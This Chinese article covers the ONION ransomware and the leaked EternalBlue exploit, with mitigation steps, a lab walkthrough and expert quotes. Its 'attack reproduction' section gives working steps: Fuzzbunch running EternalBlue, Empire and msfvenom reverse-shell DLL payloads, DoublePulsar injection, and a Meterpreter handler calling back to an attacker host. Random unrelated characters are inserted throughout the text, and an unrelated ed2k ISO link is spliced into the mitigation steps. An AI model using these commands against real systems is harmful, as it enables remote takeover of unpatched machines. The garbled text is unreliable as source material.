開篇語(yǔ)
近期國(guó)內(nèi)多所院校出現(xiàn)ONION勒索軟件感染情況殊霞,磁盤文件會(huì)被病毒加密為.onion后綴,加密使用了高強(qiáng)度的加密算法難以破解汰蓉,只有支付高額贖金才能解密恢復(fù)文件绷蹲,對(duì)學(xué)習(xí)資料和個(gè)人數(shù)據(jù)造成嚴(yán)重?fù)p失。
根據(jù)網(wǎng)絡(luò)安全機(jī)構(gòu)通報(bào)顾孽,這是不法分子利用NSA黑客武器庫(kù)泄漏的“永恒之藍(lán)”發(fā)起的病毒攻擊事件祝钢。“永恒之藍(lán)”會(huì)掃描開放445文件共享端口的Windows機(jī)器若厚,無(wú)需用戶任何操作拦英,只要開機(jī)上網(wǎng),不法分子就能在電腦和服務(wù)器中植入勒索軟件测秸、遠(yuǎn)程控制木馬疤估、虛擬貨幣挖礦機(jī)等惡意程序灾常。
下面我們來(lái)探索下這個(gè)病毒及其兄弟家族的起源
正文
一、病毒起源
早在去年8月份的時(shí)候黑客組織 Shadow Brokers就聲稱攻破了給NSA開發(fā)網(wǎng)絡(luò)武器的美國(guó)黑客團(tuán)隊(duì)方程式組織(Equation Group)铃拇,并公開拍賣據(jù)稱是美國(guó)政府使用的黑客工具钞瀑。為了證明自己,Shadow Brokers還貼出了部分文件在網(wǎng)上慷荔,然后要求以100萬(wàn)比特幣(現(xiàn)價(jià)約超過5億美元)的價(jià)格進(jìn)行拍賣雕什,拍賣事件由于信息的撲朔迷離未能成功,但當(dāng)時(shí)對(duì)幾家全球路由器制造商確實(shí)造成了影響显晶。
換句話說(shuō)贷岸,美國(guó)國(guó)家安全局用以入侵網(wǎng)絡(luò)的黑客武器,被另一黑客組織偷到手了磷雇!偷到手也就算了偿警,還把「永恒之藍(lán)」等一系列的黑客武器上傳到網(wǎng)絡(luò)開源化,提供給全球網(wǎng)友下載唯笙。一夜之間螟蒸,沒有殺毒軟件或者軟件過期的微軟系統(tǒng)全部暴露在危險(xiǎn)之中。
Shadow Brokers泄露了大量美國(guó)NSA的文件睁本,其中深度披露了方程式組織的黑客攻擊方法尿庐。當(dāng)時(shí)在 Medium 上的一篇長(zhǎng)博文中忠怖,Shadow Brokers 分享了一個(gè)可以打開所有加密文件夾的密碼呢堰,披露理由是不滿“政府軍對(duì)平民使用了化學(xué)武器”,疑似指代美國(guó)政府早些時(shí)候?qū)⒗麃喛哲娀匕l(fā)動(dòng)的導(dǎo)彈襲擊凡泣。根據(jù) Twitter 上的爆料枉疼,這批漏洞主要針對(duì)Linux,似乎包含了 EQGRP 這套 Linux 工具鞋拟。
以下是經(jīng)過MSRC確認(rèn)骂维,已在更新中被解決的漏洞列表,建議大家及時(shí)更新電腦到最新版本贺纲。
二、解決措施
一猴誊、為計(jì)算機(jī)安裝最新的安全補(bǔ)丁潦刃,微軟已發(fā)布補(bǔ)丁MS17-010修復(fù)了“永恒之藍(lán)”攻擊的系統(tǒng)漏洞,請(qǐng)盡快為電腦安裝此補(bǔ)丁懈叹,網(wǎng)址為
https://technet.microsoft.com/zh-cn/library/security/MS17-010乖杠;
二、對(duì)于windows XP和windows server 2003等微軟已不再提供安全更新的機(jī)器澄成,建議用戶盡快升級(jí)到window 7/windows 10
Windows 10 Language Pack (x64) - DVD (Multiple Languages)
mu_windows_10_language_pack_x64_dvd_6846438.iso SHA1 8FFC07D8C6069746C8222DD6F65BAD2F779F735C
1.28GB 2015-07-29
ed2k://|file|mu_windows_10_language_pack_x64_dvd_6846438.iso|1370247168|ED038183115D03F8627F22593425F246|/
或windows server 2008/2012/2016操作系統(tǒng)胧洒。升級(jí)前推薦使用360“NSA武器庫(kù)免疫工具”檢測(cè)系統(tǒng)是否存在漏洞畏吓,并關(guān)閉受到漏洞影響的端口,可以避免遭到勒索軟件等病毒的侵害卫漫。免疫工具下載地址
http://dl.360safe.com/nsa/nsatool.exe
三菲饼、關(guān)閉445、135汛兜、137巴粪、138、139端口粥谬,關(guān)閉網(wǎng)絡(luò)共享肛根。具體操作如下:
1、在開始之前漏策,請(qǐng)立刻將你的電腦斷網(wǎng)E烧堋!掺喻!
2芭届、Win+R打開運(yùn)行,輸入gpedit.msc進(jìn)入組策略編輯器感耙。
3即硼、在左側(cè)邊欄中逃片,依次選取 “Windows 設(shè)置 - 安全設(shè)置 - IP安全策略,在 本地計(jì)算機(jī)“
4只酥、接下來(lái)右鍵單擊 “IP安全策略褥实,在 本地計(jì)算機(jī)”,并選擇“創(chuàng)建IP安全策略”
5、在跳出的“IP安全策略向?qū)А爸杏益I
6绝编、在第二步的名稱中輸入“封禁端口”然后一路“下一步”
7僻澎、單擊“完成”
8、在隨后跳出的封禁端口屬性窗口中十饥,單擊添加窟勃。
9、需要注意的是不要勾選右下角的“使用添加向?qū)А?/strong>
10绷跑、在"新規(guī)則 屬性"窗口中拳恋,單擊左下角的"添加"
11、在IP篩選器列表窗口中砸捏,單擊右側(cè)的添加按鈕谬运,需要注意的是這里也不要點(diǎn)擊右下角的"使用添加向?qū)?
12隙赁、在彈出的IP篩選器屬性窗口的地址選項(xiàng)卡中,原地址選擇“任何IP地址”梆暖,目標(biāo)地址選擇“我的IP地址”
13伞访、然后選擇協(xié)議選項(xiàng)卡,選擇協(xié)議類型為:TCP轰驳,設(shè)置IP協(xié)議端口為"從任意端口""到此端口":445厚掷,并單擊確定。
14级解、在IP篩選器列表中單擊確定冒黑。
15、然后在新規(guī)則屬性中勤哗,單擊篩選器操作選項(xiàng)卡
16抡爹、單擊下方的添加,并且不要勾選右側(cè)的使用添加向?qū)А?/p>
17芒划、在新篩選器操作屬性中冬竟,選擇“阻止”,并切換到常規(guī)選項(xiàng)卡民逼,將名稱改為阻止泵殴。
18、單擊確定拼苍,回到新規(guī)則屬性窗口中的篩選器操作笑诅,勾選剛才建立的“阻止”,在切換到IP篩選器列表映屋,勾選剛才建立的“445”苟鸯。然后單擊應(yīng)用同蜻,再單擊關(guān)閉
19棚点、單擊“確定”
20、回到組策略編輯器湾蔓,右鍵單擊右側(cè)剛才創(chuàng)建的“封禁端口”瘫析,在右鍵菜單當(dāng)中選擇分配,就成功關(guān)閉了445端口默责。
21贬循、大家還需要關(guān)閉135、137桃序、138杖虾、139端口,操作與上述關(guān)閉445的操作相同媒熊。
攻擊復(fù)現(xiàn)
配置Fuzzbunch并創(chuàng)建基本利用環(huán)境
為了達(dá)到更好的實(shí)驗(yàn)效果奇适,我們將需要配備以下系統(tǒng)環(huán)境:
Windows 7 64-bit 作為被攻擊目標(biāo)坟比。IP:10.11.1.253
Windows 7 作為Windows攻擊機(jī),并運(yùn)行Fuzzbunch嚷往。IP: 10.11.1.251
Kali Linux 作為另一臺(tái)攻擊機(jī),并運(yùn)行Empire framework皮仁。IP: 10.11.1.16
在我們正式開始實(shí)驗(yàn)之前籍琳,我們還需要在Windows 和Kali Linux攻擊機(jī)上進(jìn)行一些相應(yīng)的環(huán)境部署。
Windows 7相關(guān)環(huán)境的安裝配置
在Windows 7攻擊機(jī)上贷祈,我們需要安裝Python 2.6和PyWin32 v212趋急。安裝文件可以在這里下載:
Python 2.6: https://www.python.org/download/releases/2.6/
PyWin32 v212: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/
按照基本安裝步驟首先安裝Python,然后再安裝PyWin32势誊。這里需要注意的是宣谈,安裝PyWin32務(wù)必以管理員身份進(jìn)行,否則可能會(huì)出現(xiàn)報(bào)錯(cuò)键科。如果你需要再次運(yùn)行安裝后的腳本闻丑,則可以在以下目錄中找到:
C: \Python26\Scripts
在Kali Linux上安裝Empire Framework
在Kali Linux上,我們需要安裝可從Github獲取的Empire框架:
Empire framework: https://github.com/EmpireProject/Empire
在Kali Linux上安裝Empire Framework非常簡(jiǎn)單勋颖,只需運(yùn)行./setup/install.sh腳本即可一鍵安裝嗦嗡,然后運(yùn)行./empire就可以啟動(dòng)Empire。
配置Fuzzbunch
接下來(lái)饭玲,我們就可以到Github上下載Shadow Brokers泄露的NSA工具并將其解壓到桌面侥祭。這里需要注意的是,當(dāng)你從Github下載轉(zhuǎn)儲(chǔ)時(shí)茄厘,你必須要在包含fb.py(Fuzzbunch)文件的Windows目錄中矮冬,創(chuàng)建一個(gè)名為“l(fā)isteningspost”的新文件夾。
最后編輯名為fuzz bund.xml的Fuzzy Bunch配置文件次哈,并設(shè)置相應(yīng)的ResourcesDir和LogDir參數(shù):
現(xiàn)在我們就可以通過命令行來(lái)執(zhí)行fb.py文件胎署,啟動(dòng)Fuzzbunch。至此應(yīng)該沒有任何報(bào)錯(cuò):
如果你看到了關(guān)于缺少DLL或?qū)氲腻e(cuò)誤提示窑滞,請(qǐng)確保是否已正確安裝了PyWin32琼牧,并且安裝后腳本是否成功完成躯护。
配置和執(zhí)行Eternalblue
至此喜爷,我們已經(jīng)具備了Eternalblue漏洞利用的所有條件。執(zhí)行Eternalblue需要一個(gè)目標(biāo)IP和回調(diào)IP地址摇邦。這里的目標(biāo)地址則為10.11.1.253(Windows 7 64-bit)此改,而反彈地址則為 10.11.1.251(Windows 7)趾撵。
接下來(lái)需要我們配置和指定是否重定向,和日志記錄相關(guān)的一些參數(shù)共啃,并在Fuzzbunch中創(chuàng)建一個(gè)新的項(xiàng)目占调。我們不會(huì)使用重定向勋拟,因此輸入“no”,然后按Enter鍵繼續(xù)妈候。繼續(xù)按回車鍵保持默認(rèn)選項(xiàng)敢靡。然后我們選擇選項(xiàng)4(或沒有現(xiàn)有項(xiàng)目時(shí)為0)創(chuàng)建一個(gè)新項(xiàng)目,并將其命名為任何你喜歡的項(xiàng)目名稱苦银,并選擇為你的新項(xiàng)目使用默認(rèn)的日志記錄位置啸胧。
要查看全部加載的插件/exploit類型,可以使用’use’命令幔虏。選擇使用Eternalblue插件纺念,請(qǐng)鍵入以下命令:
use Eternalblue
接著Fuzzbunch會(huì)詢問我們是否提示進(jìn)行變量設(shè)置,我們選擇yes想括。傳輸方式我們選擇1‘FB’陷谱。
最后會(huì)詢問我們,是否要執(zhí)行插件:
如果一切順利瑟蜈,F(xiàn)uzzbunch將輸出Eternalblue成功的提示:
配置Empire 偵聽和反向DLL shell
首先烟逊,我們?cè)贓mpire中設(shè)置一個(gè)偵聽處理程序,并生成一個(gè)包含反向shell的惡意DLL文件铺根。首先我們使用Empire命令創(chuàng)建一個(gè)監(jiān)聽器:
listeners set Name Eternalblue set Host http://10.11.1.16 set Port 4444 execute
輸入完成后宪躯,你可以使用list命令來(lái)檢查配置內(nèi)容是否正確:
接著,我們使用以下命令來(lái)創(chuàng)建一個(gè)包含反向shell的惡意DLL文件:
usestager dll Eternalblue set Arch x64 set OutFile /var/www/html/launcher.dll execute
DLL文件現(xiàn)在存儲(chǔ)在Web根目錄下位迂。要將DLL傳輸?shù)搅硪慌_(tái)Windows 7攻擊機(jī)上访雪,只需使用以下命令啟動(dòng)Apache Webserver即可:
service apache2 start
現(xiàn)在我們就可以使用瀏覽器,從Windows 7攻擊機(jī)上下載DLL文件了掂林。 我們將launcher.dll文件存儲(chǔ)在Windows文件夾中臣缀。
Msfvenom惡意DLL文件的創(chuàng)建
除此之外,你還可以使用msfvenom來(lái)生成惡意DLL文件泻帮,并使用多處理程序設(shè)置監(jiān)聽:
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll
以上命令將使用msfvenom精置,生成一個(gè)Meterpreter的有效載荷:
DoublePulsar
下一步是運(yùn)行DoublePulsar并注入惡意的launcher.dll文件。在Fuzzbunch中鍵入以下命令以使用DoublePulsar:
use DoublePulsar
接著DoublePulsar會(huì)為我們顯示相關(guān)的目標(biāo)參數(shù)刑顺,如果你的攻擊目標(biāo)為不同的架構(gòu)氯窍,則需要選擇對(duì)應(yīng)的系統(tǒng)架構(gòu)(32或64bit)饲常。其他變量我們只需保持默認(rèn)不變即可蹲堂,直到功能選項(xiàng)出現(xiàn)。
在接下來(lái)的功能選項(xiàng)中贝淤,我們選擇2注入并運(yùn)行一個(gè)DLL文件(我們之前生成的惡意DLL文件)柒竞。
然后我們需要輸入DLL文件的位置,以及其他一些選項(xiàng)我們默認(rèn)回車即可播聪。
選擇所有其他變量設(shè)置的默認(rèn)選項(xiàng)朽基,直到Fuzzbunch詢問我們是否要執(zhí)行DoublePulsar:
如果一切順利布隔,DoublePulsar將輸出DoublePulsar成功的提示:
當(dāng)我們切換到運(yùn)行Empire監(jiān)聽器的Kali Linux虛擬機(jī)時(shí),我們應(yīng)該已經(jīng)獲取到了目標(biāo)機(jī)器的一個(gè)反向shell稼虎,但是我們無(wú)法與之進(jìn)行交互:
將Empire shell切換為Meterpreter shell
讓我們來(lái)嘗試下衅檀,是否可以將Empire shell切換為Meterpreter shell。我們運(yùn)行以下命令設(shè)置偵聽:
use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 10.11.1.16 set lport 5555 run
現(xiàn)在霎俩,讓我們?cè)俅吻袚Q回Empire并運(yùn)行以下命令:
usemodule code_execution/invoke_shellcode set Lhost 10.11.1.16 set Lport 5555 execute
當(dāng)我們?cè)俅吻袚Q回Metasploit時(shí)哀军,我們應(yīng)該已經(jīng)收到了一個(gè)Meterpreter shell:
修復(fù)建議
微軟已于2017年3月份就修補(bǔ)了Eternalblue漏洞。如果您尚未安裝補(bǔ)丁程序打却,建議您在短時(shí)間內(nèi)完成此操作杉适。另一個(gè)有效的方法是在Windows機(jī)器上禁用SMBv1。
要在Windows 8和Windows Server 2012上禁用SMBv1柳击,請(qǐng)打開Windows Powershell并運(yùn)行以下命令以禁用SMBv1:
Set-SmbServerConfiguration -EnableSMB1Protocol $false
使用以下命令檢查SMBv1是否已被禁用:
Get-SmbServerConfiguration | Select EnableSMB1Protocol, EnableSMB2Protocol
在PowerShell中運(yùn)行以下cmdlet猿推,禁用Windows 7,Windows Server 2008 R2捌肴,Windows Vista和Windows Server 2008上的SMBv1協(xié)議:
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force
總結(jié)
在本教程中我們學(xué)會(huì)了蹬叭,如何使用Eternalblue遠(yuǎn)程利用SMBv1協(xié)議中的漏洞。雖然Eternalblue相比MS08-067利用起來(lái)并不輕松状知,但其效果都是一樣的具垫。同時(shí),也希望通過這個(gè)例子讓大家意識(shí)到定期更新Windows系統(tǒng)的重要性试幽,以及技術(shù)更新?lián)Q代的必要性筝蚕。想要了解更多關(guān)于Eternalblue的內(nèi)容,你可以查看 CVE-2017-0143 以及微軟關(guān)于MS17-010的相關(guān)安全公告铺坞。
本文借鑒了諸多鏈接復(fù)合而成起宽,下面是詳細(xì)鏈接出處,侵權(quán)立刪济榨!
方程式0day ETERNALBLUE復(fù)現(xiàn)之Empire & Msfconsole下的shell獲取
Onion病毒正在教育網(wǎng)內(nèi)肆虐坯沪,華中大微校園提醒大家防范危險(xiǎn)病毒
Shadow Brokers又爆NSA神級(jí)機(jī)密0day,i春秋一個(gè)箭步首發(fā)了在線實(shí)驗(yàn)環(huán)境擒滑!
結(jié)束語(yǔ)
除了撥網(wǎng)線腐晾,想不到別的辦法。想想丐一,這只人家泄露的一小部分呢藻糖。隱藏的大殺器不敢想像。
——錦行科技CTO Jannock
所有 Windows 服務(wù)器库车、個(gè)人電腦巨柒,包括 XP/2003/Win7/Win8,Win 10 最好也不要漏過,全部使用防火墻過濾/關(guān)閉 137洋满、139晶乔、445端口;對(duì)于 3389 遠(yuǎn)程登錄牺勾,如果不想關(guān)閉的話正罢,至少要關(guān)閉智能卡登錄功能。剩下的就是請(qǐng)穩(wěn)定好情緒驻民,坐等微軟出補(bǔ)丁腺怯。
——長(zhǎng)亭科技.Monster
關(guān)于 The Shadow Brokers 剛放出來(lái)的那個(gè)工具包,微軟發(fā)布公告指出其中所用的漏洞都已被修復(fù)川无。也就是說(shuō)呛占,如果你用 Windows 7、Windows 10 并且及時(shí)打補(bǔ)丁懦趋,就不用擔(dān)心晾虑。
另一方面,我也注意到仅叫,其中一些 2017 年 3 月修復(fù)的漏洞帜篇,攻擊工具的編譯時(shí)間是 2011 年。也就是說(shuō) CIA 在手里至少捏了 6 年诫咱。
——騰訊玄武實(shí)驗(yàn)室.TK
這次暴露的NSA武器庫(kù)漏洞體現(xiàn)了交叉覆蓋的威力了笙隙,款款精品總有一款滿足你。03年我設(shè)計(jì)完成的“潛入者”滲透測(cè)試系統(tǒng)比這還覆蓋得多坎缭,當(dāng)時(shí)連續(xù)好多年基本上是現(xiàn)實(shí)中的window通殺竟痰,現(xiàn)實(shí)中用這套系統(tǒng)成功控制了很多安裝有防火墻的APT攻擊者自身工作電腦。端口涉及到135掏呼、139坏快、445、80憎夷、42莽鸿、1433、1025-1030等拾给,漏洞有upnp祥得、msg、webdav蒋得、asp级及、ras、wins窄锅、dns等等创千。關(guān)鍵一點(diǎn)缰雇,我已經(jīng)意識(shí)到對(duì)0day武器庫(kù)的管理很重要入偷。這套系統(tǒng)追驴,真正的是一個(gè)活的漏洞武器庫(kù)。
這次泄露疏之,有可能是某個(gè)或者某些使用者個(gè)人機(jī)器或者肉雞的工作目錄被端殿雪,導(dǎo)致0day泄漏。其實(shí)“潛入者”就是針對(duì)NSA這種需求做的一套APT系統(tǒng)锋爪。03年的設(shè)計(jì)丙曙,理念到現(xiàn)在還是那么先進(jìn)。
——騰訊湛瀘實(shí)驗(yàn)室.yuange
個(gè)人宣言
知識(shí)傳遞力量其骄,技術(shù)無(wú)國(guó)界亏镰,文化改變生活!